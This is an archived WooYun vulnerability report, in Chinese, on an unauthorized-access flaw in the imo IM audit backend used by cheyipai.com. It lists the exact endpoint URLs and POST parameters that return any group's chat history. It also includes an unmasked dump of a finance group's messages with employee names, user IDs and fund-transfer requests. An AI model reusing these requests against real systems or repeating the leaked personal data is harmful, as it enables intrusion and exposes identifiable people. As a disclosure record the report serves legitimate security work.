当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0166231

漏洞标题：车易拍某系统漏洞导致内部敏感信息泄露

相关厂商：cheyipai.com

漏洞作者： 路人甲

提交时间：2015-12-31 09:55

修复时间：2016-02-12 18:49

公开时间：2016-02-12 18:49

漏洞类型：敏感信息泄露

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-31： 细节已通知厂商并且等待厂商处理中
2015-12-31： 厂商已经确认，细节仅向厂商公开
2016-01-10： 细节向核心白帽子及相关领域专家公开
2016-01-20： 细节向普通白帽子公开
2016-01-30： 细节向实习白帽子公开
2016-02-12： 细节向公众公开

简要描述：

RT

详细说明：

车易拍使用的imo企业即时通讯软件，其审计后台存在一处未授权访问漏洞，可导致企业内部的聊天记录泄漏。
算是通用的吧，懒的弄了
获取某一群组在某一时间段的聊天记录：
http://imo.cheyipai.com/Customize/Audit/MessageMonitor/groupSearch.php?id=35651&startTime=2015-12-01 00:00:00&endTime=2015-12-15 23:55:58&keyWord=
POST数据：
page=1&rows=50
结果如下：

1.png


unicode解码后：

2.png


其中id是群id，是怎么得来的呢？下面的连接可以返回所有群名称及id：
http://imo.cheyipai.com/Customize/Audit/auditreport/Qgrouplist.php
部分截图如下：

3.png


解码后：

4.png


如此便可获取任意群组的通信记录，另外个人通信也是可以获取。
如此便可导致整个企业内部使用了该软件的通信记录全部泄漏。

漏洞证明：

运维组昨天和今天的一些对话（从下往上看...）：



mask 区域


*****;Fuid":"2314310","Fqgroup_id":"1500997","Fmsg":[{&*****
*****;3322","Fqgroup_id":"1500997","Fmsg"*****
*****qgroup_id":"1500997","Fmsg":[{"txt"*****
*****uot;Fqgroup_id":"1500997","Fmsg":[{&quo*****
*****;Fqgroup_id":"1500997","Fmsg":[{"txt&qu*****
*****uot;Fqgroup_id":"1500997","Fmsg":[{&quo*****
*****qgroup_id":"1500997","Fmsg":[{"txt"*****
*****oup_id":"1500997","Fmsg":[{"txt":*****
*****;Fqgroup_id":"1500997","Fmsg":[{"txt&qu*****
*****"1500997","Fmsg":[{"img":{"h":"27*****
*****ec104f5d55a99d47deb2e5ebb71","w&quo*****
*****_id":"1500997","Fmsg":[{"txt":{&q*****
*****ot;Fqgroup_id":"1500997","Fmsg":[{"txt*****
*****d":"1500997","Fmsg":[{"txt":{&quot*****
*****;Fqgroup_id":"1500997","Fmsg":[{"t*****
*****ot;,"Fmsg":[{"img":{"h":"101","id&qu*****
*****477573019984b","w":"*****
*****qgroup_id":"1500997","Fmsg":[{"txt"*****
*****d":"1500997","Fmsg":[{"txt":{"v&qu*****
*****;Fqgroup_id":"1500997","Fmsg":[{"t*****
*****997","Fmsg":[{"txt":{"v":"Ok，问题^*****
*****uot;Ftime"*****
*****_id":"1500997","Fmsg":[{"txt":{&q*****
*****quot;Fqgroup_id":"1500997","Fmsg":[{&*****
*****2 其它不变。解决天津不能访问^*****
*****quot;Fqgroup_id":"1500997","Fmsg":[{"*****
*****uot;1500997","Fmsg":[{"img":{"h":"73&qu*****
*****8573c6631aaadf503517a9","w":&*****
*****t;,"Fqgroup_id":"1500997","Fmsg":[{*****
*****qgroup_id":"1500997","Fmsg":[{"txt"*****
*****t;,"Fmsg":[{"img":{"h":"0","t":&quo*****
*****quot;Fqgroup_id":"1500997","Fmsg":[{"*****
*****;Fqgroup_id":"1500997","Fmsg":[{"txt&qu*****
*****ot;Fqgroup_id":"1500997","Fmsg":[{"txt*****
*****uot;Fqgroup_id":"1500997","Fmsg":[{&quo*****
*****quot;:"1500997","Fmsg":[{"txt":{"v"*****
*****ot;2314310","Fqgroup_id":"1500997","Fmsg&*****
*****quot;1500997","Fmsg":[{"txt":{"v":"*****
*****uot;201*****
*****d":"1500997","Fmsg":[{"txt":{"v&qu*****
*****:"1500997","Fmsg":[{"txt":{"v":&qu*****
*****uot;}}]},{"Ftime*****
*****up_id":"1500997","Fmsg":[{"txt":{&quo*****
*****t;,"Fqgroup_id":"1500997","Fmsg":[{*****
*****id":"1500997","Fmsg":[{"lnk":{"v*****
*****quot;Fqgroup_id":"1500997","Fmsg":[{"*****
*****Fqgroup_id":"1500997","Fmsg":[{"txt&*****
*****roup_id":"1500997","Fmsg":[{"txt":{&*****
*****quot;Fqgroup_id":"1500997","Fmsg":[{"*****
*****up_id":"1500997","Fmsg":[{"txt":{&quo*****
*****oup_id":"1500997","Fmsg":[{"txt":*****
*****up_id":"1500997","Fmsg":[{"txt":{&quo*****
*****p_id":"1500997","Fmsg":[{"txt":{&q*****
*****;Fqgroup_id":"1500997","Fmsg":[{"t*****
*****up_id":"1500997","Fmsg":[{"txt":{&quo*****
*****"1500997","Fmsg":[{"img":{"h":"21*****
*****0ba107ab8cb6f30af79ba1d4855","w&quo*****
*****4310","Fqgroup_id":"1500997","F*****
*****rows":[{"Ft*****
*****uot;1500997","Fmsg":[{"img":{"h":"62&qu*****
*****47315f8865d9fe69b45be9","w":&*****
*****;,"Fqgroup_id":"1500997","Fmsg":[{&quo*****
*****group_id":"1500997","Fmsg":[{"txt":{&q*****
*****d":"1500997","Fmsg":[{"txt":{"v&qu*****
*****"1500997","Fmsg":[{"img":{"h":"27*****
*****cf66007a2258445a2e298420f25","w&quo*****
*****qgroup_id":"1500997","Fmsg":[{"txt&*****
*****t;Fqgroup_id":"1500997","Fmsg":[{"txt*****
*****"1500997","Fmsg":[{"img":{"h":"92*****
*****9fd2335a1eea6c8d5b7dcd4c6a","w&quot*****
*****ot;,"Fmsg":[{"img":{"h":"0","t":&quo*****
*****ot;,"Fmsg":[{"img":{"h":"0","t":&quo*****
*****group_id":"1500997","Fmsg":[{"txt"*****
*****t;,"Fmsg":[{"img":{"h":"0","t":&quo*****
*****_id":"1500997","Fmsg":[{"txt":{&quo*****
*****uot;Fqgroup_id":"1500997","Fmsg":[{&quo*****
*****msg":[{"txt":{"v":"票都没买着呢！"}},{"img&*****
*****e":&quo*****
*****quot;:"1500997","Fmsg":[{"txt":{"v"*****
*****;:"2*****
*****":"1500997","Fmsg":[{"txt":{"v&*****
*****qgroup_id":"1500997","Fmsg":[{"txt"*****
*****uot;1500997","Fmsg":[{"img":{"h":"86&qu*****
*****4b7fc50146f3288cb129c4","w":&*****
*****;Fqgroup_id":"1500997","Fmsg":[{"t*****
*****uot;1500997","Fmsg":[{"img":{"h":"71&qu*****
*****70d13c489e4a5c0d748e84","w":&*****
*****uot;1500997","Fmsg":[{"img":{"h":"93&qu*****
*****7c45d2ec9800a7984874a6","w":&*****
*****;Fqgroup_id":"1500997","Fmsg":[{"txt&qu*****
*****ot;Ftime"*****
*****ot;Fqgroup_id":"1500997","Fmsg":[{"txt*****
*****roup_id":"1500997","Fmsg":[{"txt":{&*****
*****up_id":"1500997","Fmsg":[{"txt":{&quo*****
*****quot;Ftime"*****
*****;:"1500997","Fmsg":[{"txt":{"v":&quot*****
*****ot;Fqgroup_id":"1500997","Fmsg":[{"txt&q*****
*****,"Fqgroup_id":"1500997","Fmsg":[{&qu*****
*****d":"1500997","Fmsg":[{"txt":{"v&qu*****
*****up_id":"1500997","Fmsg":[{"txt":{&quo*****
*****"1500997","Fmsg":[{"img":{"h":"16*****
*****ce77af890001298b75cbb86094","w&quot*****
*****"1500997","Fmsg":[{"img":{"h":"16*****
*****3bb3fca412bb9ea64ff6b63133","w&quot*****
*****;Fqgroup_id":"1500997","Fmsg":[{"txt&qu*****
*****roup_id":"1500997","Fmsg":[{"txt":{&*****
*****roup_id":"1500997","Fmsg":[{"txt":{&*****
*****,"Fqgroup_id":"1500997","Fmsg":[{&qu*****
*****;Fqgroup_id":"1500997","Fmsg":[{"txt&qu*****
*****;Fqgroup_id":"1500997","Fmsg":[{"txt&qu*****
*****;:"1500997","Fmsg":[{"txt":{"v":&quot*****
*****t;,"Fqgroup_id":"1500997","Fmsg":[{&quo*****
*****t;,"Fmsg":[{"img":{"h":"0","t":&quo*****
*****up_id":"1500997","Fmsg":[{"txt":{&quo*****
*****roup_id":"1500997","Fmsg":[{"txt":{&*****
*****up_id":"1500997","Fmsg":[{"txt":{&quo*****
*****qgroup_id":"1500997","Fmsg":[{"txt"*****
*****0997","Fmsg":[{"txt":{"v":"浏览器不*****
*****,"Fmsg":[{"img":{"h":"0","t":&quot*****
*****;:"1500997","Fmsg":[{"txt":{"v":*****
*****id":"1500997","Fmsg":[{"txt":{&quot*****


资金管理组：

{"total":"23","rows":[{"Ftime":"2015-11-30 
11:18:06","Fname":"孙路梅","Fcid":"110197","Fuid":"1042","Fqgroup_id":"1041695","Fmsg":[{"txt":{"v":"请给亚市光大转100万，用于支付日产项目回款，谢谢"}}]},{"Ftime":"2015
-11-13 
15:58:08","Fname":"金萌","Fcid":"110197","Fuid":"1525","Fqgroup_id":"1041695","Fmsg":[{"txt":{"v":"请给亚市光大转款100w，用于付五道口项目"}}]},{"Ftime":"2015-11-10 
09:40:37","Fname":"冯莹","Fcid":"110197","Fuid":"4208791","Fqgroup_id":"1041695","Fmsg":[{"txt":{"v":"请给新发地光大转20万，用于线下付款"}}]},{"Ftime":"2015-11-06 
15:49:36","Fname":"王海燕","Fcid":"110197","Fuid":"2041","Fqgroup_id":"1041695","Fmsg":[{"img":{"h":"0","t":"sys","v":"118.gif","w":"0"}}]},{"Ftime":"2015-11-06 
15:49:22","Fname":"金萌","Fcid":"110197","Fuid":"1525","Fqgroup_id":"1041695","Fmsg":[{"txt":{"v":"请给亚市光大转款100w，用于五道口项目"}}]},{"Ftime":"2015-11-04 
14:44:46","Fname":"孙路梅","Fcid":"110197","Fuid":"1042","Fqgroup_id":"1041695","Fmsg":[{"txt":{"v":"请给亚市光大转100万，用于支付日产项目回款，谢谢"}}]},{"Ftime":"2015
-10-30 13:39:31","Fname":"杨丹","Fcid":"110197","Fuid":"1264","Fqgroup_id":"1041695","Fmsg":[{"txt":{"v":"请给新发地光大50w 
用于线下付款，谢谢"}}]},{"Ftime":"2015-10-30 
13:35:40","Fname":"王海燕","Fcid":"110197","Fuid":"2041","Fqgroup_id":"1041695","Fmsg":[{"img":{"h":"0","t":"sys","v":"118.gif","w":"0"}}]},{"Ftime":"2015-10-30 
13:34:55","Fname":"孙路梅","Fcid":"110197","Fuid":"1042","Fqgroup_id":"1041695","Fmsg":[{"txt":{"v":"请给亚市光大转100万，用于支付日产项目回款，谢谢"}}]},{"Ftime":"2015
-10-29 14:42:41","Fname":"孙路梅","Fcid":"110197","Fuid":"1042","Fqgroup_id":"1041695","Fmsg":[{"txt":{"v":"谢谢"}}]},{"Ftime":"2015-10-29 
14:42:38","Fname":"孙路梅","Fcid":"110197","Fuid":"1042","Fqgroup_id":"1041695","Fmsg":[{"txt":{"v":"请给亚市光大转100万，用于支付日产项目回款"}}]},{"Ftime":"2015-10-24
 11:24:23","Fname":"卢思远","Fcid":"110197","Fuid":"4610092","Fqgroup_id":"1041695","Fmsg":[{"img":{"h":"0","t":"sys","v":"118.gif","w":"0"}}]},{"Ftime":"2015-10-24 
 11:15:30","Fname":"杨丹","Fcid":"110197","Fuid":"1264","Fqgroup_id":"1041695","Fmsg":[{"txt":{"v":"谢谢"}}]},{"Ftime":"2015-10-24 
 11:15:28","Fname":"杨丹","Fcid":"110197","Fuid":"1264","Fqgroup_id":"1041695","Fmsg":[{"txt":{"v":"请给新发地光大10w 用于线下付款，线下"}}]},{"Ftime":"2015-10-20 
 13:31:15","Fname":"王海燕","Fcid":"110197","Fuid":"2041","Fqgroup_id":"1041695","Fmsg":[{"img":{"h":"0","t":"sys","v":"118.gif","w":"0"}}]},{"Ftime":"2015-10-20 
 13:30:40","Fname":"孙路梅","Fcid":"110197","Fuid":"1042","Fqgroup_id":"1041695","Fmsg":[{"txt":{"v":"请给亚市光大转150万，用于日产项目回款，谢谢"}}]},{"Ftime":"2015-10
 -19 
 16:13:24","Fname":"冯莹","Fcid":"110197","Fuid":"4208791","Fqgroup_id":"1041695","Fmsg":[{"txt":{"v":"请给新发地光大转款20万，用于线下付款。着急。马上4点半了。谢谢"}}]
 },{"Ftime":"2015-10-16 
 11:39:10","Fname":"孙路梅","Fcid":"110197","Fuid":"1042","Fqgroup_id":"1041695","Fmsg":[{"txt":{"v":"请给亚市光大转200万，用于支付日产项目回款，谢谢！"}}]},{"Ftime":"2
 015-10-14 
 14:42:56","Fname":"王海燕","Fcid":"110197","Fuid":"2041","Fqgroup_id":"1041695","Fmsg":[{"img":{"h":"0","t":"sys","v":"118.gif","w":"0"}}]},{"Ftime":"2015-10-14 
 14:42:42","Fname":"孙路梅","Fcid":"110197","Fuid":"1042","Fqgroup_id":"1041695","Fmsg":[{"txt":{"v":"请给亚市光大转100万，用于日产项目回款，谢谢"}}]},{"Ftime":"2015-10
 -10 13:19:06","Fname":"王海燕","Fcid":"110197","Fuid":"2041","Fqgroup_id":"1041695","Fmsg":[{"txt":{"v":"好的"}}]},{"Ftime":"2015-10-10 
 13:18:31","Fname":"孙路梅","Fcid":"110197","Fuid":"1042","Fqgroup_id":"1041695","Fmsg":[{"txt":{"v":"请给亚市光大转200万，用于日产项目回款，谢谢"}}]},{"Ftime":"2015-10
 -08 15:40:46","Fname":"金萌","Fcid":"110197","Fuid":"1525","Fqgroup_id":"1041695","Fmsg":[{"txt":{"v":"请给亚市光大转款100w"}}]}]}


如果觉得有该部分信息敏感，厂商可以联系wooyun漏洞审核人员或者我来修改屏蔽，在漏洞确认后删除该部分信息。

修复方案：

审计后台放在内网吧。
联系厂商把。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：5

确认时间：2015-12-31 12:39

厂商回复：

感谢提交

最新状态：

暂无

漏洞评价：

评价